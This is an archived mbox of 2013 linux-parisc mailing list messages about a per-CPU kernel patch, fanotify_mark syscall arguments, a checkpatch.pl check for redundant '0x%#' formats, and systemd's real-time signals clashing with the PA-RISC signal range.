--- linux.orig/arch/parisc/lib/memcpy.c	2013-08-26 13:28:53.000000000 -0500
+++ linux/arch/parisc/lib/memcpy.c	2013-08-26 13:30:41.656224744 -0500
@@ -470,7 +470,7 @@ static unsigned long pa_memcpy(void *dst
 		return 0;
 
 	/* if a load or store fault occured we can get the faulty addr */
-	d = &__get_cpu_var(exception_data);
+	d = this_cpu_ptr(&exception_data);
 	fault_addr = d->fault_addr;
 
 	/* error in load or store? */
Index: linux/arch/parisc/mm/fault.c
===================================================================
--- linux.orig/arch/parisc/mm/fault.c	2013-08-26 13:28:53.000000000 -0500
+++ linux/arch/parisc/mm/fault.c	2013-08-26 13:30:41.656224744 -0500
@@ -145,7 +145,7 @@ int fixup_exception(struct pt_regs *regs
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
-		d = &__get_cpu_var(exception_data);
+		d = this_cpu_ptr(&exception_data);
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fanotify_mark()
Date: Mon, 26 Aug 2013 23:27:39 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <521BC84B.4090602@gmx.de>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net> <520AA546.2070503@gmx.de> <20130814005400.3766f068@marga.jer-c2.orkz.net> <20130826014657.05f4c466@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377552460 4819 80.91.229.3 (26 Aug 2013 21:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Aug 2013 21:27:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 26 23:27:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VE4K6-0005gk-1D
	for glpp-linux-parisc@plane.gmane.org; Mon, 26 Aug 2013 23:27:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233Ab3HZV1l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Aug 2013 17:27:41 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62520 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751711Ab3HZV1l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Aug 2013 17:27:41 -0400
Original-Received: from [192.168.178.60] ([84.173.16.33]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MEWkb-1VG2PC3QSX-00FmSA for
 <linux-parisc@vger.kernel.org>; Mon, 26 Aug 2013 23:27:39 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8
In-Reply-To: <20130826014657.05f4c466@marga.jer-c2.orkz.net>
X-Provags-ID: V03:K0:FHk91NkSAgRcOXgXgNCql+C9mQSuewpN4A2FwW21RIwWyjlzl6h
 lGpMFW46cFGFtUhd8bmicR+hpXHyNU7jYy3AlfQZZjQpRo2Wc6RqMqEs2T6rUFj/5ZUBZcS
 WQ1171u1kb0aEo+giedj2hOPiWne6AHgq9F1cc4rkap4GxQXeeQvN/XYubaRnPGIJTZG98D
 sqjHNDkkVzdZwRGTwFNhQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5273>

On 08/26/2013 01:46 AM, Jeroen Roovers wrote:
> On Wed, 14 Aug 2013 00:54:00 +0200
> Jeroen Roovers <jer@gentoo.org> wrote:
> 
>> On Tue, 13 Aug 2013 23:29:42 +0200
>> Helge Deller <deller@gmx.de> wrote:
>>
>>>> [1] https://bugs.gentoo.org/show_bug.cgi?id=480268
>>>
>>> In the Linux kernel we use the compat layer for 32bit syscalls on
>>> 64bit kernel: arch/parisc/kernel/syscall_table.S:
>>> ENTRY_COMP(fanotify_mark) which means we call (with 32bit userspace
>>> on 64bit kernel):
>>> fs/notify/fanotify/fanotify_user.c:COMPAT_SYSCALL_DEFINE6(fanotify_mark,
>>> int, fanotify_fd, unsigned int, flags, __u32, mask0, __u32, mask1,
>>> int, dfd, const char  __user *, pathname) which has 6 parameters.
>>>
>>> So, I assume you need one more "i" in this line here (change i:iiiis
>>> -> i:iiiiis {to 5 i's}):
>>
>> I tried that too with a similarly bad result
> 
> After the 5 i patch =and= recompiling fatrace, fanotify_mark() now works
> properly.

Great!
I didn't checked, but will the "5 i" work on 32bit too? Don't think so...

> Which brings me no closer to systemd support on HPPA, I'm
> afraid, but at least systemd now installs properly. I'm working on
> writing up another e-mail about the next hurdle[1] systemd presents us.
> [1] Sneak preview: https://bugs.gentoo.org/show_bug.cgi?id=482214

Did you already filed this signal-problem upstream as suggested in comment #3 (https://bugs.gentoo.org/show_bug.cgi?id=482214#c3)?

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fanotify_mark()
Date: Mon, 26 Aug 2013 18:37:54 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net> <520AA546.2070503@gmx.de> <20130814005400.3766f068@marga.jer-c2.orkz.net> <20130826014657.05f4c466@marga.jer-c2.orkz.net> <521BC84B.4090602@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377556689 1511 80.91.229.3 (26 Aug 2013 22:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Aug 2013 22:38:09 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 27 00:38:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VE5QE-0004Lu-Bj
	for glpp-linux-parisc@plane.gmane.org; Tue, 27 Aug 2013 00:38:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752298Ab3HZWiG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Aug 2013 18:38:06 -0400
Original-Received: from blu0-omc4-s19.blu0.hotmail.com ([65.55.111.158]:39524 "EHLO
	blu0-omc4-s19.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751742Ab3HZWiF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Aug 2013 18:38:05 -0400
Original-Received: from BLU0-SMTP101 ([65.55.111.136]) by blu0-omc4-s19.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 26 Aug 2013 15:38:03 -0700
X-TMN: [tRL8CMCcQqvBaElMeHHccXAkgNocLYwT]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP101.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 26 Aug 2013 15:38:02 -0700
In-Reply-To: <521BC84B.4090602@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 26 Aug 2013 22:38:02.0743 (UTC) FILETIME=[EC92A070:01CEA2AC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5274>

On 26-Aug-13, at 5:27 PM, Helge Deller wrote:

>> Which brings me no closer to systemd support on HPPA, I'm
>> afraid, but at least systemd now installs properly. I'm working on
>> writing up another e-mail about the next hurdle[1] systemd presents  
>> us.
>> [1] Sneak preview: https://bugs.gentoo.org/show_bug.cgi?id=482214
>
> Did you already filed this signal-problem upstream as suggested in  
> comment #3 (https://bugs.gentoo.org/show_bug.cgi?id=482214#c3)?


I believe two of the signal numbers come from HP-UX.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network,gmane.linux.alsa.devel
Subject: Re: [trivial PATCH] treewide: Fix printks with 0x%#
Date: Tue, 27 Aug 2013 01:39:25 -0400
Organization: wh0rd.org
Lines: 41
Approved: news@gmane.org
Message-ID: <201308270139.29838.vapier@gentoo.org>
References: <1374778405.1957.21.camel@joe-AO722>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2301473.EoAcj9NbxQ";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377582288 13863 80.91.229.3 (27 Aug 2013 05:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Aug 2013 05:44:48 +0000 (UTC)
Cc: Jiri Kosina <trivial@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Helge Deller <deller@gmx.de>,
 John Stultz <john.stultz@linaro.org>,
 Thomas Gleixner <tglx@linutronix.de>,
 Daniele Venzano <venza@brownhat.org>,
 Andi Kleen <andi@firstfloor.org>,
 Jaroslav Kysela <perex@perex.cz>,
 Takashi Iwai <tiwai@suse.de>,
 linux-parisc@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 netdev@vger.kernel.org,
 linux-mm@kvack.org,
 "alsa-devel" <alsa-devel@alsa-project.org>
To: Joe Perches <joe@perches.com>
Original-X-From: owner-linux-mm@kvack.org Tue Aug 27 07:44:50 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1VEBzz-0007pP-I3
	for glkm-linux-mm-2@m.gmane.org; Tue, 27 Aug 2013 07:39:27 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 808206B0068; Tue, 27 Aug 2013 01:39:25 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 797DB6B006C; Tue, 27 Aug 2013 01:39:25 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 4EB156B006E; Tue, 27 Aug 2013 01:39:25 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx145.postini.com [74.125.245.145])
	by kanga.kvack.org (Postfix) with SMTP id DAD0B6B0068
	for <linux-mm@kvack.org>; Tue, 27 Aug 2013 01:39:24 -0400 (EDT)
Original-Received: from smtp.gentoo.org ([140.211.166.183]) (using TLSv1) by na3sys010amx145.postini.com ([74.125.244.10]) with SMTP;
	Tue, 27 Aug 2013 05:39:24 GMT
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 8B74D33EB7D;
	Tue, 27 Aug 2013 05:39:23 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.10.6; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1374778405.1957.21.camel@joe-AO722>
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt4 gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <vapier@gentoo.org> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:106102 gmane.linux.ports.parisc:5275 gmane.linux.kernel:1551289 gmane.linux.network:281202 gmane.linux.alsa.devel:112085
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/106102>

--nextPart2301473.EoAcj9NbxQ
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

On Thursday 25 July 2013 14:53:25 Joe Perches wrote:
> Using 0x%# emits 0x0x.  Only one is necessary.

sounds like a job for checkpatch.pl :)
-mike

--nextPart2301473.EoAcj9NbxQ
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJSHDuRAAoJEEFjO5/oN/WB9eAP/17Fsge8+iHzu8tiC05a4O7x
rFgbaVSjlB4OEKMva3jKJPcdIwNjokS0rW6HfCLVVx9AbJC+Y+O21B95DCfD8ZCG
7LECoepLtCh/pjtblxB9vevhjFVhqLtxVB68+kRziZ659QJZn93TWWO6eYa1hYlF
NcqeX4cn5irE1eFLb5ghoSdPtGD0PIA4a/3WKoYg62wcx4xSR8UKzdTRTke7Zsfz
Uscb1S6+XTTp7+hYGyDBUHp60DSmnN4m6MG6XMZKDGxAv2FfpF6h1tBTJu/ubpVg
bGin+f0QRfVnIOMIzx5T9crH0JCfCmthnaFhs9+aEnqoPEQVTtqY577mV+k9tPY9
ygB77cIfcePVENVYoOOLn5CjxQjZ9oaRG0acnBNWepoFS5ywKW4xO1H5k2LPY9o3
Ivq0Dk0Elt3LVLhMtp4IH1GSrFlr9Rsc5+OU60suo9MlHFHobdt3YewUse8BUdQY
4JqLrAKsvc6OYI/iALy72b7ecPyKi0hcfojOICoDzMd1m7v2AEJ19OIft2RtGij+
b3WP2GvURB3lYst9eUUSn6Ga9QGtt/nbDtm+aHzPkBn1Y+KxoWJGL/rDtBPQhON6
AfXoHYKx6BoB0zoOqdXa//MKQ33YTMuehll3Jk0wdg0PLjyO1zPjCSSHB+q1ur8t
aqPDySYINMZvN6N/MT3N
=EMNA
-----END PGP SIGNATURE-----

--nextPart2301473.EoAcj9NbxQ--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network,gmane.linux.kernel.mm,gmane.linux.alsa.devel
Subject: Re: [trivial PATCH] treewide: Fix printks with 0x%#
Date: Mon, 26 Aug 2013 23:00:47 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <1377583247.2658.13.camel@joe-AO722>
References: <1374778405.1957.21.camel@joe-AO722>
	 <201308270139.29838.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377583250 22937 80.91.229.3 (27 Aug 2013 06:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Aug 2013 06:00:50 +0000 (UTC)
Cc: Jiri Kosina <trivial@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John Stultz <john.stultz@linaro.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Daniele Venzano <venza@brownhat.org>,
	Andi Kleen <andi@firstfloor.org>,
	Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	netdev@vger.kernel.org, linux-mm@kvack.org,
	alsa-devel <alsa-devel@alsa-project.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 27 08:00:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VECKg-0001Z3-FR
	for glpp-linux-parisc@plane.gmane.org; Tue, 27 Aug 2013 08:00:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752691Ab3H0GAt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Aug 2013 02:00:49 -0400
Original-Received: from perches-mx.perches.com ([206.117.179.246]:57848 "EHLO
	labridge.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752505Ab3H0GAs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Aug 2013 02:00:48 -0400
Original-Received: from [108.38.126.162] (account joe@perches.com HELO [192.168.1.152])
  by labridge.com (CommuniGate Pro SMTP 5.0.14)
  with ESMTPA id 21266150; Mon, 26 Aug 2013 23:00:48 -0700
In-Reply-To: <201308270139.29838.vapier@gentoo.org>
X-Mailer: Evolution 3.6.4-0ubuntu1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5276 gmane.linux.kernel:1551298 gmane.linux.network:281205 gmane.linux.kernel.mm:106104 gmane.linux.alsa.devel:112086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5276>

On Tue, 2013-08-27 at 01:39 -0400, Mike Frysinger wrote:
> On Thursday 25 July 2013 14:53:25 Joe Perches wrote:
> > Using 0x%# emits 0x0x.  Only one is necessary.
> 
> sounds like a job for checkpatch.pl :)

Here.  Submit it yourself...
---
 scripts/checkpatch.pl | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index 9ba4fc4..520f8e7 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -3869,6 +3869,18 @@ sub process {
 			}
 		}
 
+# check for formats with "0x%#"
+		if ($line =~ /"X*"/) {
+			my $fmt = get_quoted_string($line, $rawline);
+			if ($fmt =~ /0x%#/) {
+				if (WARN("REDUNDANT_HEX",
+					 "Redundant hex prefix 0x format\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$linenr - 1] =~ s/0x%#/%#/g;
+				}
+			}
+		}
+
 # Check for misused memsets
 		if ($^V && $^V ge 5.10.0 &&
 		    defined $stat &&



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fanotify_mark()
Date: Tue, 27 Aug 2013 16:31:41 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20130827163141.3b61209b@marga.jer-c2.orkz.net>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net>
	<520AA546.2070503@gmx.de>
	<20130814005400.3766f068@marga.jer-c2.orkz.net>
	<20130826014657.05f4c466@marga.jer-c2.orkz.net>
	<521BC84B.4090602@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377613910 13131 80.91.229.3 (27 Aug 2013 14:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Aug 2013 14:31:50 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 27 16:31:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VEKJ8-0000mw-GA
	for glpp-linux-parisc@plane.gmane.org; Tue, 27 Aug 2013 16:31:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753156Ab3H0Obq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Aug 2013 10:31:46 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:54313 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752996Ab3H0Obp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Aug 2013 10:31:45 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 98D2833EABB;
	Tue, 27 Aug 2013 14:31:44 +0000 (UTC)
In-Reply-To: <521BC84B.4090602@gmx.de>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5277>

On Mon, 26 Aug 2013 23:27:39 +0200
Helge Deller <deller@gmx.de> wrote:

> > After the 5 i patch =and= recompiling fatrace, fanotify_mark() now
> > works properly.
> 
> Great!
> I didn't checked, but will the "5 i" work on 32bit too? Don't think
> so...

Yes, that works too.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: systemd real-time signals choices clash with Linux/PARISC available
 SIGRT range, WAS: fanotify_mark()
Date: Tue, 27 Aug 2013 16:46:01 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20130827164601.4accbbfb@marga.jer-c2.orkz.net>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net>
	<520AA546.2070503@gmx.de>
	<20130814005400.3766f068@marga.jer-c2.orkz.net>
	<20130826014657.05f4c466@marga.jer-c2.orkz.net>
	<521BC84B.4090602@gmx.de>
	<BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377614789 24077 80.91.229.3 (27 Aug 2013 14:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Aug 2013 14:46:29 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 27 16:46:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VEKXJ-0003S6-GQ
	for glpp-linux-parisc@plane.gmane.org; Tue, 27 Aug 2013 16:46:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753448Ab3H0OqY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Aug 2013 10:46:24 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:55419 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753276Ab3H0OqH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Aug 2013 10:46:07 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id BEB2B33EB2C;
	Tue, 27 Aug 2013 14:46:05 +0000 (UTC)
In-Reply-To: <BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5278>

On Mon, 26 Aug 2013 18:37:54 -0400
John David Anglin <dave.anglin@bell.net> wrote:

> On 26-Aug-13, at 5:27 PM, Helge Deller wrote:
> >> [1] Sneak preview: https://bugs.gentoo.org/show_bug.cgi?id=482214
> >
> > Did you already filed this signal-problem upstream as suggested in  
> > comment #3 (https://bugs.gentoo.org/show_bug.cgi?id=482214#c3)?

Well, there are two ways to resolve this problem, and seeing who is
developing systemd and seeing the generous way the "available" signal
range is used, I'm pretty doubtful about changes there.

As I said in comment #2, that range could be compacted (a lot) and then
fit easily on any future platform. Since it was a design choice even
reflected in man pages[1] ("[...], SIGRTMIN+29   Sets the log level to
[...]"), I'm very afraid they will not change it easily.

> I believe two of the signal numbers come from HP-UX.

#define SIGXCPU         33
#define SIGXFSZ         34
#define SIGSTKFLT       36

According to [2], SIGSTKFLT isn't used.

Do we still support HP-UX? I have never seen a binary for it I could
try with, but then maybe I never went looking for one, either. :)


     jer


[1] http://www.freedesktop.org/software/systemd/man/systemd.html
[2]
http://h21007.www2.hp.com/portal/download/files/unprot/STK/Linux_STK/impacts/i60.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd real-time signals choices clash with Linux/PARISC available
 SIGRT range, WAS: fanotify_mark()
Date: Tue, 27 Aug 2013 11:52:56 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <521CCB58.30806@bell.net>
